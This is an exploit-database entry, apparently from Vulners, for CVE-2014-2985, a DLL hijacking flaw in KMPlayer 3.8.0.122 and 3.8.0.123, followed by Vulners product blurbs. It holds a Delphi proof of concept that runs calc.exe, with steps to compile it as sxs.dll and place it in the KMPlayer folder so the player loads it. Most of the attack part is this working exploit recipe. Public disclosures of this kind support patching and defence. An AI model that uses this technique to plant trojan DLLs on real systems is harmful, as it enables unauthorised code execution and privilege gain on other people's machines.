`# Kmplayer 3.8.0.122 / 3.8.0.123 DLL Hijacking
#
###########################
#
# Exploit Title: [KmPlayer 3.8.0.123 DLL Hijacking ]
# Date: [2014/04/22]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : https://www.linkedin.com/profile/view?id=276969082
# Vendor Homepage: [http://www.kmplayer.com/]
# Software Link: [
http://www.softpedia.com/progDownload/KMPlayer-Download-26726.html]
# Version: [Version 3.8.0.122 and 3.8.0.123 ]
# Tested on: [Windows Xp Sp3 - 32bit & Windows 7 - 32bit & 64bit]
# CVE : [CVE-2014-2985]
#
###########################
details:
Untrusted search path vulnerability in Kmplayer latest version [3.8.0.123]
when running on Windows 7, and XP, allows local
users and possibly remote attackers to gain privileges via a Trojan horse
DLL in the current working directory by sxs.dll .
uses
Windows;
begin
Winexec(PAnsichar('C:\WINDOWS\system32\calc.exe'),sw_show);
end.
Compile Above Source Code With Delphi And Rename Compiled DLL To sxs.dll
Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer
DLL Will Hijacked!
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation